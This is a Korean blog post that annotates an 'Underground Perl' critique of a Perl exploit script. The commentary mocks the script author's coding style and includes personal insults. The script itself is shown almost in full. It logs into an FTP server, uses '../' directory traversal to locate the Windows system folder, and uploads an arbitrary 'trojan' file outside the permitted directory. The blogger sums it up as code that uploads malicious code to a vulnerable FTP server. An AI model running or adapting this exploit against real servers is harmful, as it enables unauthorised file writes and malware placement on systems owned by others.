'milworm'에 해당되는 글 1건
- 2008.10.05 Underground Perl #1 - 2

-[0x01] # kokanin sucks --------------------------------------------------
# kokanin man I expected more from you
# gobbles gobbles =P
# kakanin 난 당신을 기대하고 있다.
# 한번 살펴 볼까~~
# kokanin님은 exploit코드를 작성하는 사람중의 한명이다.
# perl에 맞지않는 코드에 대해서 kokanin님을 까보겠다는 뜻인듯...
if(!$ARGV[0]){
die "Usage: ./thisscript.pl <ip> [user] [pass] [port] [path]
[trojan.exe] [/path/to/target.exe] \n"
;}# heh
# 간단히 비웃어 주는 센스;;
use Net::FTP;
my $target = $ARGV[0];
# you won't be the last to be horribly ignorant of shift
# 그렇다.. 여기서 perl을 많이 써봤느냐 아니냐를 알 수 있게 된다.
# 일단 위의 방식의 코드를 써도 상관이 없으나
# perl을 제대로 공부했다면 shift를 사용하여 코드를 작성할 것이다.
my $dotdot = "../../../../../../../../../../../../../../";
# we got this thing called x, eh? my $dotdot = '../' x 14;
# 우리가 이 상황이었으면 이렇게 썼겠지?
# my $dotdot = '../' x 14;
# perl에서는 x 연산자를 사용하여
# 보다 편하게 문자를 원하는 만큼 출력이 가능하다.
if($ARGV[1]){ $user = $ARGV[1] } else { $user = "IEUser";} if($ARGV[2]){ $pass = $ARGV[2] } else { $pass = "mail\@mail.com";} if($ARGV[3]){ $port = $ARGV[3] } else { $port = "22003";} if($ARGV[4]){ $writablepath = $ARGV[4] } else { $writablepath = "/guests";} if($ARGV[5]){ $trojan = $ARGV[5] } else { $trojan = "/etc/hosts";} if($ARGV[6]){ $destination = $ARGV[6] } else { $destination = "owned.txt";} |
# Dude, learn how to handle arguments. see the 'shift' function?
takes a value off an array. smooth huh?
# 어이!! 인자를 처리하는 방법을 배워야지 이 shift 함수가 보이냐?
# 배열으로부터 값을 가지고 오는거지 부드럽지 않냐 응???
my $target = shift || '127.0.0.1';
my $user = shift || 'IEUser';
my $pass = shift || 'mail@mail.com';
my $port = shift || '22003';
my $path = shift || '/guests';
my $trojan = shift || '/etc/hosts';
my $dest = shift || 'owned.txt';
# 좀 기분이 나쁘긴 하겠지만 제대로 깠다..
# 이정도 까였으면 다음부터는 저렇게 쓰겠지... 허허
# path가 아니라 writablepath인데... 나도 한번 까볼까...
print " target: $target \n
user: $user \n
pass: $pass \n
port: $port \n
writable path: $writablepath \n
trojan: $trojan \n
targetfile: $destination \n"; use Net::FTP;
# love how you include this twice.
# 같은 코드를 두번이나 썼군...
$ftp = Net::FTP->new("$target", #way to excess quote
# 쿼터를 쓰는 방법이 잘못됐다.
Debug => 0, Port => "$port")#oh look its those quotes again
# 여전히 쿼터를 쓴다.. 참고로 안써도 된다.
# Port=> $port
or die "Cannot connect: $@"; $ftp->login("$user","$pass") # quotes quotes!
# 쿼터 쿼터! ㅎㅎ 계속 까는 중
or die "Cannot login ", $ftp->message;
$ftp->cwd("$writablepath") # quotes!
# 쿼터! 언제까지 깔껀지;;
or die "Cannot go to writable dir ", $ftp->message;
my @systemroots = ("PUNIX","WINXP","WINNT","WIN2000",
"WIN2K","WINDOWS","WINDOZE");
# ever heard of qw(), buddy?
# 이봐.. qw() 들어본 적 없는가??
# qw()을 이용하면 보다 편하게 문자열을 처리할 수 있다.
# perl 문서에 보면 나온다...
# my @systemroots = qw(PUNIX WINXP WINNT WIN2000 WIN2K WINDOWS WINDOZE);
# 이렇게 초기값 설정이 가능.
for(@systemroots){ $reply = $ftp->quot("SIZE " . $dotdot . $_ . "/system32/at.exe");
if($reply == 2) {
print " %SYSTEMROOT% is /$_\n";
my $systemroot=$_;
} # way to actually use that $systemroot var sometime }
# 내 생각에는 for문을 사용하는 것보다 foreach문을 사용하여 쓰는것이
# 더욱 perl Authors 다운 코드가 아닐까..
$ftp->binary; $ftp->put("$trojan","$dotdot"."$destination")
# you really love quotes, don't you?
# 계속적으로 쿼터를 쓰는 것에대해서 반박하고 있다.
# 여기서 put이 어떤 역활을 하는지 Cpan을 잠시 훓어보자
# http://search.cpan.org/~gbarr/libnet-1.22/Net/FTP.pm
# put ( LOCAL_FILE [, REMOTE_FILE ] )
# Put a file on the remote server
# 로컬에 있는 파일을 원격 서버에 업로드 시키는 프로그램 and print "file successfully uploaded,
donate money to kokanin\@gmail.com\n" or
# 하하.. 돈을 기부하라니.. 어이없다.
die "Something messed up, file upload failed ",
$ftp->message;
$ftp->quit;
# <ilja> idiot == kokanin ?
# <idiot> kokanin = idiot
# you said it
# For a guy with a reputation,
# a knack for finding vulns, and years under your belt,
# you really suck.
== 정리 ==
취약점이 있는 FTP 서버에
악성코드를 업로드 시키는 코드이다.
마지막에 바보라고 딱잘라서 말하는 저자가
속시원하게 보이는 이유는 무엇일까?